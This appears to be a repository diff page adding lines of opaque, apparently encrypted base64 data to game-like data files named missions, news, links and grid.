+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#cESjLj3TUcyuFHXdc0a/ekbEzK2NEJudxbgK2RId5fI2mJ9Tka98yvkSDi+QYXHvrUqkWl4Q/O4k9VCKxqvQO1cgQJQVQ8X2zTu3G0aRHSj+C5CwMeMuGnICG+Ci+cmkTP5X
+5#!#3#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#171196872345831277205770632227011860619#!#Pak5LUoKezi5+B/oPQGWm+sty+BjYdA51yPDZ5MqsYCl5IKNsEDSIRY/GBeazFs/9WwqyTF/N3a5awMiHcdX9+Jk+TJfJD+ZmpikGD93MNGV386ZYLA=
+5#!#12#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#69594339027487775423381234158566558285#!#DLTKQfmimlhWohqu1iEXeWBBeX396l4+yy7sp57SmvVCmMjvTls388h1i2dO6YiJsYj1+iebrGU0tVMSQRBRtvkdj7qeZukYDoXTFxSHRw==
+5#!#12#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#69594339027487775423381234158566558285#!#uStx+yZz4hZK8IqjJAsteeOARxP30HZvFjPxyLJ0JCa0G014L2IaCr8mrB6lyy6ZP/zteB3nYVbYIjtn6ipK0wqtdTvO/UjHM26OI7j5Qg==
+1#!#9#!#cAkrljdcrW3dvj/aBbmNHBvlbR1C4GadFo/1ecSPAA7WujkHecIRtN0=#!#3198259951930770283427138215744552835#!#lKITgOlXayLvi1zq6K0+NCowG51SVoRrTz92E54+9BaINB51hcgJaRCSlT1rg0rShlboKVSz3rhaDSjUXabcXPGtxFravtnQQgJUNCI=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#582329510679997532662413790106054451433#!#r4GMjMfYbNmhhBmJQFYmGah0mjSGUCSpZ0gtsFPK7jodaqPNjSuy5qkWa0ExRcZ84QIGrMrK15cjo9PByT2LD3wTusx3yaZEb0/yKt/PE6ZVFD/pHqQFF5M=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#213116471423072662008467667199916682694#!#1EbS/i09rSJ9EIZg2Ls6eBG83532qcXpnA5+vGMZXzSC7PF8drUC/jmPwQmXLkaz6bDv/ZGGnwHRyRlizLp+ZGCRqWA+M9S8eorPc1SUMjcm4+Oj4Sl+udBAX8FyvNt0T1pDLfuF
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#70984442058851093154536792877630512276#!#+5Yq/LhmMFJldIMYZSq3hymMpOIVpY1d5YkNN9on40clrbe2vmlMLMTgTDiC7Mc5O0mCCKmuivlOrCszpDn938m32DF/2LdkIR6MEs3y76VQ4NMsLiXPW1GaiKXGP40BxgQP
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#278887541199641563253958265951842347250#!#8jst2zeNpuY+Kp2nd7p0UljyMyWA6XGo3SqrlpdF+ajxbS7wkR/ZkWmsX56ic14EvzcraaU4OZz+d+5V6GEn6DBKCVa72RGgKh444vcUYzwpL1Xaggoza9uTZlsjp3YgYU4F
+4#!#7#!#h6uwIrCU62rwvfIaVZkQrA0OzzLPX6hd9lp1Uautgu8PvVHcebSjCv8GrBXC#!#204225688198572674043680639107302243286#!#0l/ckqD/RisB5QC3ei24VFzEs29bFeunwXR5nma+NSMtiZYY0KTlOedLyQOjnzbi0SKoMAhTWbxzOYSc9N5iPDLKLzwkf6x/4aav
+1#!#7#!#h6uwIrCU62rwvfIaVZkQrA0OzzLPX6hd9lp1Uautgu8PvVHcebSjCv8GrBXC#!#158807448850131945635726637280905393792#!#lus6LkpQVFe7+JREaQas6g0P+FPDLCcRSR5q2is5PdfxJRxxbfwV/M/4QTMJCqZo5kZs7PmwBrNbs8Q1aECF6tklJVs=
+1#!#1#!#SifBXBUrxswSNzf4v5O/XQl2dSOz+xa6UhSkrFQGygHrMd6NvYZyRYM9s6Ju#!#330600408731817912516695436257211756844#!#RAfh78gxLdxApnTyd3zja8io6RxOtEJ3RaB8qL1Kt5J1Rmj9jTFKJSxZFxyugW0=
+1#!#6#!#DIh+td0hWFvh2nozKC8f9yUOThHaI/GYofBlGdW3+5GyQT3DCPqcVXGD#!#313859678541697958270194194323068273674#!#i1+dfpwzLhQPu8znczyjHqWVRHeLLkzknSqam3YOdxryUExsG6zQTkb9anf/A9Zx/aOvGIQn8t+shUGa00ULvCP5LBcuSFRn/r8=
+1#!#1#!#8R2H/y8T1+rji2WZzapRuOjIP09QmpnP0YT8hOQkJGtiZAL+KGTeiyoa6ioL#!#171148752864315715885669542726822214248#!#0QzuParAO7rqUd5XEbNWk/HfQEH7rO7vobmq95Ju2lJ5aq6IdHExQe43PE7cwL5jFPVMuUADsnDV3JPc/KTOZqvk3hbPEafGMgcZ6TE=
+5#!#9#!#zMlDUTXRnxWGktOSGcSP6cHwpwScpEJFUCMoKiE6+OVfKs3iXTglcA==#!#51366608678100228862168149564283851381#!#S0mNRyuknbUfp6krCaB57aKk1LZB8GNY32AuR/V5Lf/BO6ijrXN5VKk=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#125148672014228858453763029521116800682#!#1wbZDTLaRMvY+tdsg+/4tRAZ665WLpVLKjy93b6Q+3IqdFoJU8b1o9VjvgyVAKgxSNdobyN8o/S49tS8jr7Lxmw+tMA6e1ajB/wNIRlQc4DCaUOZBMNbAU/7c6ZLX/JZKZlRS3zx
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#SLV9+rZTOhJ0NTCFKAy+0W3oNWFm0LpKo0JSR79L4SBVzisK7awWfSJBdRi2n4t+bk9msqZHxwfgTl8ZI2o9qOYuNHi5z6TPDsd9eVJ/hgbCoHiHyqYfntQU9LUOQLkd
+5#!#5#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#c3ziN7PNNrNuTn/GFVuD8osjlw+dLO+qTkrpsFocAaXJKvrn+ER5vHOeDbChtrlIMRTtjEC8qLG/IzELAmqdRIbssM8fMECZXTh7K9V+eIiSStK4
+1#!#2#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#kBCmwAl0ZYB9c0nf5S+6QKkw2NSZxe62BQlugFs637FuWhR9LOm8r4AMEh+y6yKKS75eEtzLvtPMy1cQnT8reHjGsaEjwTNyrsQ=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#203926943582257864678837121391245579225#!#0s4rX5EQul4r38UstN/HtiJ/hViQ3gPrm0l91LMEnMEm2ym1kDp35bzF2XAU78w3JWokbUY/5EHVS5EsHqzLHesPxIuMvP2tSEqvKdBCVmOR0Bez
+4#!#9#!#W6O61lNZRHiKa7XKmFOJL2qam/oUvraeFiMK5WGXXTCxrEWXfp9JBNsOCaM=#!#64388572937208539964147911438932013798#!#iYSwfofyrpVIDTrzGaSa7R569j7QEc/UdV9jtFeLq643lw7Mp7DsxfifhBal5gNiOpU1wkAJZr3P9BCtsvG8CmB5/0sxkuBHcotqIeP0y472NX69BBEV8NIWKRsvl1T7AloX5Z71waah
+2#!#2#!#G0xMYg6zRLUvFNlHAjPG5qP6D+8A2JjJ4PaPzFQfGmz2qaghpBrnlixMklBV#!#203926943582257864678837121391245579225#!#e0Jis2Qt/ttH+/48Xazyw9f+Py5LGs6DRrbFX5kMANwqjz4Mv8NHttDQpwkvb6UNnNbX9v5if+nRO9yzoEVKUa5ocfuSIDBaZLyHAVPPaDjeyuxAm1HmTZYSnjl8x2MpBfBq6p9gfiv4
+1#!#1#!#d5N6tYPpd5ya47wbfSyaH3sq/VLbTOJ4B4tQmkxVT/HKONmos4GH+qugZ10F6g==#!#327273012811660040683312944806152485223#!#EWn4Z1c6hgc7MQS14P0yS21AnsHKn6+paJHZacXiY/rQXcQyh1qEBHcAoSqmdcOTVOQ2+b99wXeVPKDCE977MWU4fkJHoSYVzUgHiZ23U0FW/dpB3w+mc5Q+J4EeD9k=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#274135891444609026328652190600051919734#!#Ds95zAZnqCi4TcGIsgmLF6edVRSoxoJCVLVrqZzGjJ5Vdr3Y6C2sk8Wqz1ed9mKTvSKiDlP2GN/ZuYRH3ZtQyEUjElM8jhIRqlDRDS9MKI3cpdXKyoNj54ZWha4Qk7tnB6MbJ7JEXzFd
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#274135891444609026328652190600051919734#!#IvHMDHJwZ0XZ+8izemzKcFN3HCy9JXKl63LkOsZ9ZYUYFsiOCwne7bnrpKG8/4wgdH/4WABZs8N5xAgm1aaTuZOBRdFYvMPKP04hGZHRpTy/VUq71S7aqwjUnOr8advXqhsu
+1#!#3#!#MyAZrZ6krjfaxfABLIEreDwjrUeFlGbWflmya/CKUY5PQwR27LQk/4ThrjJf#!#286483081125997112224470860097309089307#!#i5IHQFOhXIjD1PoSLJkwgj5wrNvUNHBupeAEuAOFFrJ2IEkLlsnpZbI=
+1#!#5#!#fttQJj4ZEs4Ci3jIHsNv79uNPWCIfBkA7NLc2eKv+JjXovZ2mmuy3r78GrCc#!#139067310506253046684673773029894782516#!#UDwf+T3QLjGxuDMfy+MMOiTxVpXHM0bubzwXkvaeCgXkkTZHslaSRmLVj+xjKViXcg1fzNU06XkiQz4+DTjqr9M5J/fj+Jsz/yxs
+3#!#10#!#2+cE5DpKCcrQflqHqszV7SanhY9zfjEGbPOitFfLAN21Lg3Nhk+s2ZgwTw==#!#6413074515647223319394059002268921850#!#0CtKgCG86ngmF9Q122qTXmWbu5izhbzbkKzVSB6fw4I5l7ffMhGao2M=
+2#!#10#!#U65sNsnE5WoNx2SzDsa8IhFAkE+evWjNc+FEAKcPh4Jcht+j155K4Iyrwefokt5l#!#133554895916724435233535723556119269610#!#0hUrDILYU2S5LpRBnkutPYjOYJECB25dlVWr7UTjGx79rDxKxgDmt6Cq3FHFvOihs8k4fip2UWzdeGBAF2RhiuqwLaAjZNHsJNj0uZa9rX8=
+1#!#10#!#3lFkcCTikMzeGqInplB9+YTAP+3SsuDesIvFUPJeu/zSHh1U/fG6#!#305249812293097851134426639830117816958#!#3blXcwqWEvCnJ1e95We9BJNJ3VBb7iwojGSkVfC/TIEmR493IBShbmedIjJxLS49um+BNFM+NwYuqhZRWkixvamyIXAtDMr0cQwh3mYAQu784JcNRPeHnhhCuJbOLg==
+1#!#9#!#+njg1oa2QfsYToxmYM8txtGOhKQ7raFrV5k+rho1bcYIneLTdwrhmgm901doCw==#!#48277299097224494261221183906912809376#!#NTVcO4GMHSZOZofCgGz+1qUe6XoeOJdTeNkiuddD6jxNkmjQmp56Vkk=

文件差異過大導致無法顯示
+ 234 - 0
data/grid.txt


+ 1 - 0
data/links.txt

@@ -0,0 +1 @@
+5Q7MFyi1wpoVsSr8odECZIjoxtGiWGixLfolOe78e6TDRbdBIcUjx7loI2flFxHYLuSXKmA87Q==#L#RgX6YciOBVXnDW7yPkbyKwlgqioVLHqLioxGduDHKdnnJvgwvWyPjj0J7/6XjIf/dNTfOdjP3P0pV1U=#L#vHtRnjUrMDw1yzchnveODJ8wqf6aetpALe/hbkFYnVBQc4PcLCpU

+ 57 - 0
data/missions.txt

@@ -1,4 +1,61 @@
+hK55RXgpxgWdOhBMhHbaWC/LwBTKJykkFhzAfNtsBDeo03Cu+RnPblJ1AtaIrXgQJGIPGkdJG8elSjVjB6Z/Y38/cvUyAiFQkae/6pwMNBYg4XCYusoJ
 teb8Cbc0WDn/IZJZ6bUF5ke1e0whULx5iN0sLlG86WotTvd5X96MqtOahayNsFzKvEfmhgCmZD/6me2ZPgDx0jcANVpu/XkIOJXrDFKza2Ef3jDyzmy609Z0iJuVh/+1IPiVY9r2MA==
 teb8Cbc0WDn/IZJZ6bUF5ke1e0whULx5iN0sLlG86WotTvd5X96MqtOahayNsFzKvEfmhgCmZD/6me2ZPgDx0jcANVpu/XkIOJXrDFKza2Ef3jDyzmy609Z0iJuVh/+1IPiVY9r2MA==
 dsyI287GTV5YJTq0U1O12PRBowzXiveZHc3kC50jqzMknhcQVuIlxhEc0FO7IMRwtR+gg4y6MGN8XHo3TntDkGG+HD2S8squq4tzepGBtv/P8I64elPLLiA2qs5WwCf/
 dsyI287GTV5YJTq0U1O12PRBowzXiveZHc3kC50jqzMknhcQVuIlxhEc0FO7IMRwtR+gg4y6MGN8XHo3TntDkGG+HD2S8squq4tzepGBtv/P8I64elPLLiA2qs5WwCf/
 fxxodvlfCNf4mg5EK0IjF9b17+sefC6GJjHkprJsj7TMrJWiAw+U+j/TiaMKXFsFPIGxCNvOn7s97K2VGRsyx2V2mxqiEhS5olWyfarhIzFR3Pw4zEAPmUAPxzo=
 fxxodvlfCNf4mg5EK0IjF9b17+sefC6GJjHkprJsj7TMrJWiAw+U+j/TiaMKXFsFPIGxCNvOn7s97K2VGRsyx2V2mxqiEhS5olWyfarhIzFR3Pw4zEAPmUAPxzo=
 31P29ZQHztpTXw+/yXG+u8nlyIAq2jYDamcYlfiyT9mLMnJs9qC9vHLjwBoW4bvgZQWHQ902lo9wTg==
 31P29ZQHztpTXw+/yXG+u8nlyIAq2jYDamcYlfiyT9mLMnJs9qC9vHLjwBoW4bvgZQWHQ902lo9wTg==
+PZZyg3mDDFuqEl/ojnUtJs+qyo2wMMM8XomLrJQFVAUGMo1u/u9UH6Mv0Fi9ewezo27mS+DOnSqRdHigcvh77Qi6CA==
+DkqdPfmULOrekFT7CeGyrUoxrDthp7YfcjSfPmqGkDGcm+0YFP4U4Xu4RD5PUZYf3bhdTR1dvbc40sxsMSczc65S
++4kC5HNfiTyi03nJCKaXQMOnpbTAOQX7VDJ5SHiw7i8Duaox+8gHVwWNRxtLSgqjYZXbyh7FNN6JlWVNsauOsFHBOTUSkpNV1Ffz2Nv7yM0I8LG7dQ==
+C4+SUH1FOLqC69OhpPqCigtyV6ix7a9Yma4ZyIP3IpIyZ0PsuyR7C1lNgRRcxP3MCFh0XMTKeN4X+gpLOEzMwNjz1GfbIOZDMZLoRvywSG0zpYkJ
+i9ODPHaUArHhB+LPDI4wOVCkJUHecDXSub4s0VrbAfbb9lwnWI+czJEltDodsYAHDUYK1N5P89+Lbr7tEFuwX/2htwhHTRqlaew2fTRGAQm+OHXbEMU/W51OBX/mcgVSRyf6yV4=
+MudYkZeaoFQ+1GUkjMCXwI8oPA7I/zBKXDinckTKD4IopuJwzOBOunvgGw2ij+cBiMbM1P6au9PeGNCtPXrxoW8bBmOhVsEJKxRrWv/NRVoOR7qfIVC+n9JDrUC10dM=
+9h8IIxSzKxh4KznQ91E2O4PdXV7Ycz89PqNmlA48e+OHWlEHrpzcT3t9YXIQj5NXItDMRhdflpcYdBHP0e37hu3mTULLDh2xsP/MmfpQbbkQsK9B2b4eXiY+cs/1a98=
+1oq1CYoFPXt1pDIhW8T6C4aAoqQcBHo2VzMYhqgJwI622NZR1j7jBX0QiM6ECcYeVGRmPRLMeTePKlcDyv/Sg7ylJOs8bwhqf9WDgubPwiD4QL+0EgeUwyTzfMqwkoihLKc=
+MoTS/EroBWbIw7ANHgwhgWkS9Jeuhvo2Y6Cr8Z6vf2crv3FsyvHWGbX883grl0aZsEbSzUhZp7MSjNqW5q+sD12SlXIJtQ3MLYTNe4PUQkK7oGbWAnkgd7t9tRJ2TXw7
+QBKdVseaWbbIkL2meFSaTS9S7VjKZx0CqUxIeAgy25C5bj5k75BFXdp/ofyzlENaLmeFkn1Jp6/HpulTjdHLQyR4RURlwsjV+uH4p6EdV19gB/1UFfMTYVOg6kAkXwrP
+x6sTzAF21+sgw31GDbbEj0Kz56lFE36UM+3EmoH/dxLhFzfCGDmEXQLpVfMmQlboLADB6zcGYBUM0AUtWWZTO5Bg8fypHJa4R5Rk/AuhWZawFHCHrkR0JOMkM+OaRtmQxBu/
+N8H6e4uBT3PRzntXxRE5JlbDTz3lFURk2Lj8LnYcCpUgJxWuUyQva1NQg+RyZ13t618tjZNQ+xXsC2Bm+FV+/PfYlWpFx3nhjpjV9auSJwM7rihgRc4=
+qV8yL/rO9x64hRnnopKpflInvwr6zh9O0PU4yeaDg/y1PUdgremjjWUoBGF67A7oKLEvacnRPcOcS8FanbBKaD9QnWFfOXuBhoa13CdCaiqoEPEMIFDfOb6pSE8UlahB
+gzmLdUuaOOk2AhA1IJ1mbC7m9kXh49nFVXWBeyUjL9K4Y23qnOn5wG2RQbJUwZycjr0T0URhm+jhlVQMPLsdB1psj7A6TTvQa1oZI19yX7+znpmdidKVkc2UcMmT7+Of/7Mn
+VZT78AUnnXX6UHUw/dRiCaZhEkRzyRrVPD1qZcgD/Onee+nyg/nnce2cEDsYyHgZReiTASMsVQNsBWiRYxH4w8DwMT3ElUZP3nIQuEa5NMPLsIhQIqe/Xp6s2g4=
+GzzxQ3P2J9kTVWlRqfNzLlpXzNKfsB1FMHsle2p9L415bOLFOLFYch5JsKwOu66AX3N55T6Ig5TZw9klKjejczajOzU8GbStENCVQb/BZwervukig7lmXes=
++mXgEYGHrPDHO2CMinVBvg6gRrbuw09ux8zBNLXO/WwMezUfxX39pqQSWPGowrzO/p4yv5UJn9w+agEHxvM3FL5Ra/nyf6b8Y/gRtlGnQJd5fNe3cZNnnK0bdqGi
+8biT4xvC/U3LHlukpDQh0YghBU92iJjXO/TIwDc5mR5LV0ZS3nIesa3uGtoY1MqLr6TUIw4bBuKCwqjYtxwUe+S2MyiEokairmT8dpZ/hz9qKt9sxBNbGCe2htZlYf3w59DGLCBjha5D
+Ugv+W7k/7YpMyJDaqNlD0t7kbXD+NRs/OAKjlAHJ7p2hQpK5YiQYsLTX0j7YixtJERoHdsJOW+jSNrwt8BuHQB+8v1xE7QOPfyIdgFbFy1wcb71veOuWjTEVwD4X
+EbBZPE3W9l1Ob4UXgyKADJ/fdUtjHH0+GrBQ3BcMzz82oK/jvOQy2vd2wibtZ0E3CJ+02xrDs5I5eBAmyiuN2pxSO/LxGONjk6WeKnQG8S8ijqKpPLAs42Y6JNTFEm8T
+F4EeTQGcoxd57r7EsC4ssRxP8e3oapbheN+evwSmVvHezzVF9g+RZpCJ89/QBqZoU2Aq8PpZBNbKiPKIp0L+s27BhjqoWrfG/hVXNA+MSjfCmsJMyfgNwvvdkL9ukPfAN9e0
+Ls/7cXSFJqlJVuT/ZxbLjTtZ8kFoTE7iWeOaK6KqiO2gjoNgrdcrC0htkI/C1j9WfFEfZGWSZ367573J8ISwdcZ6vOJCgv5U/Rv04f+HoUMd5Ua+eAPqXdAqZQhLe0E=
+IAyDPqIbHbBsI5nGPL2f9iFwS9CK+4DBQnS7p3/UNW89rGNk2vFQog+XkCkvePkqfhXekYaSJOGwYRnHvsH+ejaDQCicasYHK526agHjgF9nBwtnU1oj1NK7eVrDG/Ky
+QeKkWMkTlU3Y7bSh5BlvHbMJ2rSGW2/EVrakj4+oHhQp9PjYI0ty8jUYzNOMPQIslV1BdtxOn+ZcJyX779/MSDm30aiQAeMudFjz62F+ZoQI1wYCy7z+k/jmg4Tsyr81namf
+3/FImmSOffsMOUS7zsbagMN1ux5nbCYN0fL6HxkzVTlTAwipaJYO1klhpdBexc53UsCrrRh2iV0pkQ42r0HYJ64QVQLTO7jXBbhWZP48kcf37XefGTPr6FftTtE=
+JjutPWitgEbJWvslp6zNJ14PPRJ5NreNyhZ0bUGDhfX0NR2hv0D/3ozagrVgF7iUTyOl3yUcAzF1RCl8OLpfIifCFWy4nNnNlGbdMg==
+aFnJqs4ZILJTaqTS0tmeewkznIIYlman9YEQJy5+c8K9vZrL4yqpRcOgaxAeO+lgMZkrPk4yLnMdtkmdt1Hqxj9TWzNWLUTbinMz7oIlIz89Sif4SZudXpTL2je6w8vJ
+mWpXMEi7SLRX/qUo2QoOdbvMBCz0cuiUfQ5QWw/dR89/jNrgjvXEsyHHitU54sSIV6pNscmnZgoIRQDeWU049Indqi4ow/OL2ii6Z2wHD3EUe8L5sNazfVRyYvDriD1VzjhS
+lx5vC0qhbcJU6kXMx7JqJm0g7BMkNZQGqfbGjDBG0lMGyyDmj9kvlr6DhEREGPSrganPrCZrSdlYxW0Q0caxRmkShb5Q5RCHHawn4EHC7AH4ThiiVcNO0ccIR2UI
+v0H0x5QGMo2KVqghN8Xoy1TgaCBV7AZ42hxyY9w4ql3fha46HBK59VdiL4CsRkt3m9gM6Cizvkn41mWgRtTrcrebFlAga78TNHUACGBpQmycKH5Yr9A/66YDIQ==
+n9B09DxGl4Hu7YrhBjDam0p/mAGmrncUjGyBzwLtpc1FF3D1DA7OF21WbEza1Cs5k69anWSd4wEGFf4pp9LBYm053Y9E3kMahiR1Iv6QYWzb7mSQe7c=
+OJ+Bw+yE5fM9D6Cw4fy/xvhCYzZhXBUuoPWN2DzWuDkAlBoDlzr1du23aFfREq8Hi67DGYE/WCVvYC7APpoxiyJabTjOh1lXKa+mw/61qEk+Ln7RwZrm+RLo7iHs
+AZZIO96u43TIXopaSsFPHFuoiI0H16CQlcN0PH6mbCdcqkwNAN1r1T89zwBK99FKhpbPFilhZuMLUdry6W1GKhZhp3ObbLwMgQjiQQbiO7kGY0VsBJzzeOFeCQ==
+BWW0PvP95u7Wp+FkeWUD9DuYf+KutgRsgGYm8KkFz4npzJyGwhgjdDOWvZUiJuUB84vZ1bCq+dpE9NkqoZEcy3ifSMpxd5Y/MUhW0xFCRMeZakiw+bTnqWdFbY2XheHz
+ltq4TZfPUn1FcQnsjRHoE9Eo5mczAmWPW93gjLWoP24Y7J2k0EteZqK2SsoFn93skJXs5mZwOcqUpvvqlz0KiHAuzbDI6fvA21N2GcpC0vp4WJ7uKJe40WYJYj1zawnlC8Wn
+NmXBNWllxJUmQs+FqcVLxVhtNsEr5qKDFQgDRPx0cqDItlwBicNVZ4lhuzIw1oupjLlVOAKzHgG0g1yVWdEQfz/uQ1DOM1RVG3/B3P0J3hcW
+6WqE73SkD/Wfjte1WmHcKTOA77yURmGUHISmxlIWmobdCYWuWj5W+ZyE1qJUTmjke0SmIoTCqA8ItmCpXk4/hw/ehesyASwoCoqEnDGVb68jkY5Ovuq0khPPH8giHpbXvNo=
+3XU7RicuvArz0DkXbd5muKODNKl5RVohtFZj/JxIay9JpyY71H/ATVh+0hVpdXVTL3ajbd11yqM12n2Tpw4EssEqIIfOUxZUH9LlO1Bo76m6F0UrqOoGx1PgcOMqP2nvvk6E3VA=
+6kMOiMr/wtOHqwp8xKlzUY08BCE7ii7KJxn4dRszldziY0sxCDF52bWbsIKt7h6oFI4vfy2Ozmk04ye4a8D4lntC2NDDOkAQbtKcQQ2RDF32B4ZbV1Q=
+BiMVYiF8u19HRUGOWsMn6qXyDp2tHK/s5rONzXSAf/iTSw2QN+Kiaps4H9Hojrt3Ssoo9WiFHE+010w5xX8meUIRzso4xvj0ikfmhga2jLjjyKyP81o0EzKUvWufGJRD
+7aSleDiIngdLsqzDF2oZsFzZ70to+UvH4pmTOBMDTD+w2N8rVrcbnFVZCxlfDre/xzU+2AYAOmE2gW9zGj7j+XTcpT2puUc/TEwPrg6ilntu57OqWvG7qYSaK5RNqVuTYYZU
+UaLixHCncvXIetbqG14ugDyixWvQ7EN2O3uM2wzWNNgtwPUmLbvFm5Do1ZdqqQY3uZqw5MOatVrSw4K7DknUnneeyzkEFicummGS7TlqG4Hu535QATpYw1agKodHyA==
+IvIdTlq7YwaWLGnlKtMI6hzmk7ZkyiDWGO5DXOSulwDmJuFCYlknejXaKFD64lyFUCfNRIhXCx9xGT2W1gc9PkgOHow6Zxy0+43TsAOqopEc1wH1iH3JBI9NPtVeP9Od
+M0KwlpM6B7jS7sThkSvfyMiqYHO29gU0mG7tFtfGIwjOlGGo623yGF+Xscn1kdn0PzEDIyJsIUei1/T5OUEmCg05IQ1Ap8i8/DDETSP8jW6m3qrJ9QKlOZ/U2uxh4pl0AJT5
+qF0AC9j9ZBdytpep22rs54cgMLMdFQdK0Tuval8yzggNcpH7zRoheEgFas5sBYcGU8R7KJJ2yJXddjkR7BcYA4cbkhdykWCyUTL9eMZEOeLQRMOZ4YJ9DiBzlQ==
+0+5nxROkfmCyMDMBUFLzgJ2+jdnZR2EcTMGW+RZZK+hjVI1NLj8SqvtE+pKpDgw9Ip9sBNfLVJAi7ZltBOmIwxoTvXEO1tTcc7nmD/qbGr5k75WLlGSv80UvudM=
+rv408jX935z4WL6R2r9AnLYb98bajsp5YvPZ2DyHOlk9S6CLK5pL+I1ODS7kf/gc9QgwQaoyFHnj/+/mBX5qmRu8MTtOIW9VvPCh4A9Z96I16d3V21DM0XK//vKBpyDC
+31ELWZZR/6YzDqi/HxssLhucpqFD5UxwWYN5OJtGFXMAs8aJTFTme4+MCKDYIED6JnsoXiZuKp2eLgPtQe4TXabcnTr1RqVJmtFjeU4LBN974M61YcL251ZLFt7fmuU63u+R
+Y6X4xWphmtce09z5iqXptKG1XGynTAUOrXyRg4xGAhRfcX9LuX90I/pkv5+LhWMJ0aueJX+JgAj1Ykj/v3QIkmoFTuJcrUKX8xJ9SVeyPrI=
+OdzMGOPJc4QxIsPU/1SygqesLKoWGEbRoOpJQOd7zW/Au6N6do6Vud0hQIioTM6n+DziUh9VGJnrt/jB2tNqqkoJN5kYdlza3kjFbaYvyen+0zPXTJhlRrc=
+kNTKMSBbrnz2Lf9t4gDgWsTU8kzK7qzsL5tTAQ5bU68Npj2/NoCmUzperE1P6QdVjgx4WAnnNglMDqMISM7Sts+CENtecix6cnQbDdf/faW4CEAAxcmQX3UKUw==
+5VTx6hyLrAIacpxdVndovmDk7WQIPTE7Vtp/U+XyTBBXkb9mHtdeMryKA+2iCznn8fxnBu0/tN31Y+hiFnqyAVcXY+43dR1ZAOXeddsSRcrVS3kBN6544Iw7P7KCYGg=
+Bokltl3O9Pi7y0TcURDV5U5hjuCc0lKSfGFbos65mKZg/c0+MkeCuG+FonaqO1Bs6UQ1MZCmo7F29iA8Fm39DYTVZbpr9MorOSFbPN5gEA+t9rNdFh93PJWqmk5ILMF8
+ov7Gm7K5368B3/lRO0nTBVzrv83qgvS74vOotGv+E9d0xNDXhEn6/ZvndKxAQ8qpWuDg3s1M6CpZWCOXWyh/2RJTynq81yJpj7btCITzSaOBCRWx1ecRKfX6YLjbi8q9Q8Z0
+0E2oCblIZT3rldklQWBnAo8srZaDcyfH4V87DhsfdiXAyrYFkHi1sKcr1IiLxHvhtt4XWuzIqC72vdiKloavl0evrOK0MOJUQQEQvnxTZ41LNBEFxfZPcDykQ4k1tbQng8PBtuATkaE=
+sCInZqt2PahsF3hRdMJfz6QMYg72+W5YyEbkyubilVbCHsTRLGmFBBpCsbNCJbvyiJBr3HU7Tq8HkM/41z9tJMj+DCsVatav54PuAhdc+8ijIixaBjige8M=

+ 61 - 1
data/news.txt

@@ -1 +1,61 @@
-DMjim/lv6y6R+BnWRXOjui0AgslGXoEGtt5k0F9ZtSmErYSLZwh4FUz3WrBYycknsLfeLOzqVPAXv3X65iaTIbCs
+R//zM04bp6s4hETgc6kBjy1qD6qxbj95v1vYx8bsNRfgccmMmEwBQ9Fv43DgGbFMxQ+Uifeb+ckIuQO/his1xnNSy9cB64td43n1P2zW7pEOV8I=
+1RHeHcXGX8Opp+560VRTlEuCbRH4sDy6rBrfzNGKRmM5wzJ4V0XodPbkqZ0v8dL2xg3A2BTfNA14y4yI59RRYEi5gqMFpxcbqbVWdQIq6B3zaVVklc8SJjHg
+UTAnljtKTsPF6PBxleXshhFn7M8BxU6PkiEjJ0G2McjK1sMFVQ47k3/fjHWbGpq0pbIMUeN34fsMr4CwuvDg8Gpt4lGPpZoBD9oEs6F0hPGw7YH/8koeug==
+9MJy8pJq9MJhnjnvLZKp5FW2o9kBY3Qog+CAXUFwbxH9nai0pnBggivvEg9V0gLWWpse6zvke3/5HEPCE9xUBdd9y5hMPsuB1Y1PAiYXzDCosPcpkqiRcllqsVZmMi1auOKJik4qIg==
+H0jaig7vAz7KJ1qhKeikupayy8EtCZTJjjEbH+17ufRHqgHwK7uvrAPqqipgEcMajlh/s1aoMKeDo3mUDYdnjD5CQO4fIedM159Jaf2AvhLy1gdUIF+Z/F0Qs5sRRkahH14+UeeAANM=
+KHmYJbaGoqgipgFZi0uhW7ftKUYuCP2qMojcBnRmIYlEaqRTZ3JdmsJ7Uta2/+QJGRsLh15GFqnaybDfBAwpahroIS4t50C4mwvebbH77b+ubY3QuwqbSzx4MkidQdA8FnnO4VRhOA==
+fhJ7xtLMjYUkl/5DcSygoSlP+Ymce4X5k+sSmisOno76T2TMYtG6dHLL+oZD35YqgeroK9++Vc4kcZrMvBb1
+bZIN74UFZ9/PlK1n1Egua3GXt2P5fWFJ2VtW02vjNZWsVQxo6ullpJK+yf2eyBNDGL5g7q21cmFW/oUp3M4joXWQJbgNtRUPy+Y/9cz3FGS9i+Gp9+TH
